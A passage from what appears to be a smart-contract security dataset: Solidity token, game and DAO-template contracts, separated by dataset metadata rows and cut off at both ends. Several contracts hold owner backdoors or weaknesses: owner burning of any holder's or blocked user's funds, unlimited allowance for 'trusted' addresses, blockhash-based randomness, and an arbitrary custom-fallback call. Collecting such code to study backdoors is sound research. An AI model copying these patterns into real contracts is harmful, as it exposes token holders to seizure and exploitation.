using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
contract WithBlockedList is OwnableUpgradeable {
modifier onlyNotBlocked() {
require(!isBlocked[_msgSender()], "Blocked: transfers are blocked for user");
_;
}
mapping (address => bool) public isBlocked;
function addToBlockedList (address _user) public onlyOwner {
isBlocked[_user] = true;
emit BlockPlaced(_user);
}
function removeFromBlockedList (address _user) public onlyOwner {
isBlocked[_user] = false;
emit BlockReleased(_user);
}
event BlockPlaced(address indexed _user);
event BlockReleased(address indexed _user);
}
contract TetherToken is Initializable, ERC20PermitUpgradeable, OwnableUpgradeable, WithBlockedList {
mapping(address => bool) public isTrusted;
uint8 private tetherDecimals;
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals) public initializer {
tetherDecimals = _decimals;
__Ownable_init();
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
}
function decimals() public view virtual override returns (uint8) {
return tetherDecimals;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
if (isTrusted[_spender]) {
return 2**256 - 1;
}
return super.allowance(_owner, _spender);
}
function transfer(address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
return super.transfer(_recipient, _amount);
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
require(!isBlocked[_sender]);
if (isTrusted[_recipient]) {
_transfer(_sender, _recipient, _amount);
return true;
}
return super.transferFrom(_sender, _recipient, _amount);
}
function multiTransfer(address[] memory _recipients, uint256[] memory _values) public onlyNotBlocked {
require(_recipients.length == _values.length , "ERC20: multiTransfer mismatch");
for (uint256 i = 0; i < _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
}
function addPrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = true;
emit NewPrivilegedContract(_trustedDeFiContract);
}
function removePrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = false;
emit RemovedPrivilegedContract(_trustedDeFiContract);
}
function mint(address _destination, uint256 _amount) public onlyOwner {
_mint(_destination, _amount);
emit Mint(_destination, _amount);
}
function redeem(uint256 _amount) public onlyOwner {
_burn(owner(), _amount);
emit Redeem(_amount);
}
function destroyBlockedFunds (address _blockedUser) public onlyOwner {
require(isBlocked[_blockedUser]);
uint blockedFunds = balanceOf(_blockedUser);
_burn(_blockedUser, blockedFunds);
emit DestroyedBlockedFunds(_blockedUser, blockedFunds);
}
event NewPrivilegedContract(address indexed _contract);
event RemovedPrivilegedContract(address indexed _contract);
event Mint(address indexed _destination, uint _amount);
event Redeem(uint _amount);
event DestroyedBlockedFunds(address indexed _blockedUser, uint _balance);
}
interface IArbToken {
function bridgeMint(address account, uint256 amount) external;
function bridgeBurn(address account, uint256 amount) external;
function l1Address() external view returns (address);
}
contract PrivateLinkProtocol is TetherToken, IArbToken {
address public l2Gateway;
address public override l1Address;
modifier onlyGateway {
require(msg.sender == l2Gateway, "ONLY_GATEWAY");
_;
}
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals,
address _l2Gateway,
address _l1Counterpart) public initializer {
require(_l2Gateway != address(0), "INVALID_GATEWAY");
l2Gateway = _l2Gateway;
l1Address = _l1Counterpart;
TetherToken.initialize(_name, _symbol, _decimals);
}
function bridgeMint(address account, uint256 amount) external virtual override onlyGateway {
_mint(account, amount);
emit Mint(account, amount);
}
function bridgeBurn(address account, uint256 amount) external virtual override onlyGateway {
_burn(account, amount);
emit Redeem(amount);
}
}
| 53,847 | 215 |
f03f3ff4a5d1954e5fdf1e33c7bd930459d2be0fe958423d723fa637c3f5e252
| 19,108 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe60fc4632bd6713e923fe93f8c244635e6d5009e.sol
| 4,925 | 18,125 |
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract IBattleboardData is AccessControl {
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16);
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external;
function createNullTile(uint16 _battleboardId) private ;
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8);
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external ;
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external;
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public ;
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external ;
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external ;
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external ;
function iterateTurn(uint16 battleboardId) onlySERAPHIM external ;
function killBoard(uint16 battleboardId) onlySERAPHIM external ;
function clearAngelsFromBoard(uint16 battleboardId) private;
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) ;
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) ;
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) ;
function getMaxFreeTeams() constant public returns (uint8);
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) ;
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) ;
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) ;
function getPetbyTileId(uint16 battleboardId, uint8 tileId) constant public returns (uint64) ;
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address);
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) ;
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) ;
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) ;
function isBattleboardLive(uint16 battleboardId) constant public returns (bool);
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) ;
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) ;
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) ;
function angelOnBattleboards(uint64 angelID) external constant returns (bool) ;
function getTurn(uint16 battleboardId) constant public returns (address) ;
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8);
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) ;
function getTotalBattleboards() public constant returns (uint16) ;
}
contract BattleboardData is IBattleboardData {
struct Tile {
uint8 tileType;
uint8 value;
uint8 id;
uint8 position;
uint32 hp;
uint16 petPower;
uint8 team;
uint64 angelId;
uint64 petId;
bool isLive;
address owner;
}
struct Battleboard {
uint8 turn;
address[] players;
bool isLive;
uint prize;
uint16 id;
uint8 numTeams;
uint8 numTiles;
uint8 createdBarriers;
uint8 restrictions;
uint lastMoveTime;
address[] team1;
address[] team2;
uint8 numTeams1;
uint8 numTeams2;
uint8 monster1;
uint8 monster2;
uint8 medalsBurned;
}
Battleboard [] Battleboards;
uint16 public totalBattleboards;
uint8 maxFreeTeams = 6;
uint8 maxPaidTeams = 4;
mapping (uint64 => bool) angelsOnBattleboards;
mapping (uint32 => Tile[]) TilesonBoard;
mapping (uint16 => uint8 [64]) positionsTiles;
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16) {
Battleboard memory battleboard;
battleboard.restrictions = restrictions;
battleboard.isLive = false;
battleboard.prize = prize;
battleboard.id = totalBattleboards;
battleboard.numTeams = 0;
battleboard.lastMoveTime = now;
totalBattleboards += 1;
battleboard.numTiles = 0;
battleboard.monster1 = getRandomNumber(30,17,1);
battleboard.monster2 = getRandomNumber(48,31,2);
Battleboards.push(battleboard);
createNullTile(totalBattleboards-1);
return (totalBattleboards - 1);
}
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external{
if (monsterId == 1) {
Battleboards[battleboardId].monster1 = 0;
}
if (monsterId ==2) {
Battleboards[battleboardId].monster2 = 0;
}
}
function createNullTile(uint16 _battleboardId) private {
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
Tile memory tile ;
tile.tileType = 0;
tile.id = 0;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
}
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8) {
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
if ((angelsOnBattleboards[_angelId] == true) && (_angelId != 0)) {revert();}
angelsOnBattleboards[_angelId] = true;
Tile memory tile ;
tile.tileType = _tileType;
tile.value = _value;
tile.position= _position;
tile.hp = _hp;
Battleboards[_battleboardId].numTiles +=1;
tile.id = Battleboards[_battleboardId].numTiles;
positionsTiles[_battleboardId][_position+1] = tile.id;
tile.petPower = _petPower;
tile.angelId = _angelId;
tile.petId = _petId;
tile.owner = _owner;
tile.team = _team;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
return (Battleboards[_battleboardId].numTiles);
}
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].isLive= false;
TilesonBoard[battleboardId][tileId].tileType= 0;
for (uint i =0; i< Battleboards[battleboardId].team1.length; i++) {
if (Battleboards[battleboardId].team1[i] == TilesonBoard[battleboardId][tileId].owner) {
Battleboards[battleboardId].numTeams1 -= 1;
}
}
for (i =0; i< Battleboards[battleboardId].team2.length; i++) {
if (Battleboards[battleboardId].team2[i] == TilesonBoard[battleboardId][tileId].owner) {
Battleboards[battleboardId].numTeams2 -= 1;
}
}
}
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external {
if (Battleboards[battleboardId].isLive == true) {revert();}
if ((Battleboards[battleboardId].prize == 0) &&(Battleboards[battleboardId].numTeams == maxFreeTeams)) {revert();}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {revert();}
for (uint i =0; i<Battleboards[battleboardId].numTeams; i++) {
if (Battleboards[battleboardId].players[i] == owner) {revert();}
}
Battleboards[battleboardId].numTeams += 1;
Battleboards[battleboardId].players.push(owner);
if (team == 1) {
Battleboards[battleboardId].numTeams1 += 1;
Battleboards[battleboardId].team1.push(owner);
}
if (team == 2) {
Battleboards[battleboardId].numTeams2 += 1;
Battleboards[battleboardId].team2.push(owner);
if ((Battleboards[battleboardId].numTeams1 == 3) && (Battleboards[battleboardId].numTeams2 ==3)) {Battleboards[battleboardId].isLive = true;}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {Battleboards[battleboardId].isLive = true;}
}
}
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public {
uint8 oldPos = TilesonBoard[battleboardId][tileId].position;
positionsTiles[battleboardId][oldPos+1] = 0;
TilesonBoard[battleboardId][tileId].position = _positionTo;
positionsTiles[battleboardId][_positionTo+1] = tileId;
}
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].hp = _hp;
}
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].medalsBurned += 1;
}
function withdrawEther() onlyCREATOR external {
creatorAddress.transfer(this.balance);
}
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].lastMoveTime = now;
}
function iterateTurn(uint16 battleboardId) onlySERAPHIM external {
if (Battleboards[battleboardId].turn == (Battleboards[battleboardId].players.length-1)) {
Battleboards[battleboardId].turn = 0;
}
else {Battleboards[battleboardId].turn += 1;}
}
function killBoard(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].isLive = false;
clearAngelsFromBoard(battleboardId);
}
function clearAngelsFromBoard(uint16 battleboardId) private {
for (uint i = 0; i < Battleboards[battleboardId].numTiles; i++) {
if (TilesonBoard[battleboardId][i].angelId != 0) {
angelsOnBattleboards[TilesonBoard[battleboardId][i].angelId] = false;
}
}
}
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) {
return TilesonBoard[battleboardId][tileId].hp;
}
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) {
return Battleboards[battleboardId].medalsBurned;
}
function getTeam(uint16 battleboardId, uint8 tileId) constant external returns (uint8) {
return TilesonBoard[battleboardId][tileId].team;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
function getMaxFreeTeams() constant public returns (uint8) {
return maxFreeTeams;
}
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) {
return Battleboards[battleboardId].createdBarriers;
}
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Battleboard memory battleboard = Battleboards[battleboardId];
Tile memory tile;
if ((tileId <0) || (tileId> battleboard.numTiles)) {revert();}
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
owner = tile.owner;
isLive = tile.isLive;
}
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) {
for (uint8 i = 0; i < Battleboards[battleboardId].numTiles+1; i++) {
if (TilesonBoard[battleboardId][i].owner == _owner) {
return TilesonBoard[battleboardId][i].id;
}
}
return 0;
}
function getPetbyTileId(uint16 battleboardId, uint8 tileId) constant public returns (uint64) {
return TilesonBoard[battleboardId][tileId].petId;
}
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address) {
if (team == 0) {return Battleboards[battleboardId].players[ownerNumber];}
if (team == 1) {return Battleboards[battleboardId].team1[ownerNumber];}
if (team == 2) {return Battleboards[battleboardId].team2[ownerNumber];}
}
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) {
return positionsTiles[battleboardId][position+1];
}
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) {
if ((battleboardId <0) || (battleboardId > totalBattleboards)) {revert();}
Tile memory tile;
uint8 tileId = positionsTiles[battleboardId][_position+1];
tile = TilesonBoard[battleboardId][tileId];
tileType = tile.tileType;
value = tile.value;
id= tile.id;
position = tile.position;
hp = tile.hp;
petPower = tile.petPower;
angelId = tile.angelId;
petId = tile.petId;
isLive = tile.isLive;
}
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) {
Battleboard memory battleboard = Battleboards[id];
turn = battleboard.turn;
isLive = battleboard.isLive;
prize = battleboard.prize;
numTeams = battleboard.numTeams;
numTiles = battleboard.numTiles;
createdBarriers = battleboard.createdBarriers;
restrictions = battleboard.restrictions;
lastMoveTime = battleboard.lastMoveTime;
numTeams1 = battleboard.numTeams1;
numTeams2 = battleboard.numTeams2;
monster1 = battleboard.monster1;
monster2 = battleboard.monster2;
}
function isBattleboardLive(uint16 battleboardId) constant public returns (bool) {
return Battleboards[battleboardId].isLive;
}
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) {
return TilesonBoard[battleboardId][tileId].isLive;
}
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) {
return Battleboards[battleboardId].lastMoveTime;
}
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) {
return Battleboards[_battleboardId].numTiles;
}
function angelOnBattleboards(uint64 angelID) external constant returns (bool) {
return angelsOnBattleboards[angelID];
}
function getTurn(uint16 battleboardId) constant public returns (address) {
return Battleboards[battleboardId].players[Battleboards[battleboardId].turn];
}
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8) {
if (team == 1) {return Battleboards[battleboardId].numTeams1;}
if (team == 2) {return Battleboards[battleboardId].numTeams2;}
}
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) {
monster1 = Battleboards[BattleboardId].monster1;
monster2 = Battleboards[BattleboardId].monster2;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function getTotalBattleboards() public constant returns (uint16) {
return totalBattleboards;
}
}
| 167,176 | 216 |
7254478f94958fc19926340ff160cf6ddd157b252b5119e2958f5358ead65ad3
| 15,496 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x28be79bd9ac609876b03f692d8d85278d8cbc2f3.sol
| 2,954 | 11,293 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function div(uint256 x, uint256 y) internal pure returns (uint256) {
// assert(y > 0);//Solidity automatically throws when dividing by 0
uint256 z = x / y;
// assert(x == y * z + x % y); // There is no case in which this doesn`t hold
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
return x - y;
}
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract QSHUCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "QSHUCOIN";
string public symbol = "QSHC";
uint8 public decimals = 8;
uint256 public totalSupply = 50e9 * 1e8;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
function QSHUCOIN() public {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
function qshdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
return true;
}
function qshdrop(address[] addresses, uint256[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
return true;
}
function() payable public {
}
}
| 141,705 | 217 |
bf1ef9e3dcef26967028ef64000577074b2cc1c27d6d70807b595b010f8dab6e
| 19,193 |
.sol
|
Solidity
| false |
368966504
|
1Hive/deployments-aragon-shared
|
53f370bbcd99cbf36e113555ce409e3a3c9c4898
|
contracts/BaseTemplate.sol
| 4,574 | 16,580 |
pragma solidity 0.4.24;
import "@1hive/minime/contracts/MiniMeToken.sol";
import "@aragon/apps-agent/contracts/Agent.sol";
import "@aragon/apps-vault/contracts/Vault.sol";
import "@1hive/apps-voting/contracts/Voting.sol";
import "@aragon/apps-payroll/contracts/Payroll.sol";
import "@aragon/apps-finance/contracts/Finance.sol";
import "@1hive/token-manager/contracts/TokenManager.sol";
import "@aragon/os/contracts/acl/ACL.sol";
import "@aragon/os/contracts/apm/Repo.sol";
import "@aragon/os/contracts/apm/APMNamehash.sol";
import "@aragon/os/contracts/kernel/Kernel.sol";
import "@aragon/os/contracts/lib/ens/ENS.sol";
import "@aragon/os/contracts/lib/ens/PublicResolver.sol";
import "@aragon/os/contracts/factory/DAOFactory.sol";
import "@aragon/os/contracts/common/IsContract.sol";
import "@aragon/os/contracts/common/Uint256Helpers.sol";
import "@aragon/id/contracts/IFIFSResolvingRegistrar.sol";
contract BaseTemplate is APMNamehash, IsContract {
using Uint256Helpers for uint256;
bytes32 internal constant AGENT_APP_ID = 0x9ac98dc5f995bf0211ed589ef022719d1487e5cb2bab505676f0d084c07cf89a;
bytes32 internal constant VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1;
bytes32 internal constant VOTING_APP_ID = 0x9fa3927f639745e587912d4b0fea7ef9013bf93fb907d29faeab57417ba6e1d4;
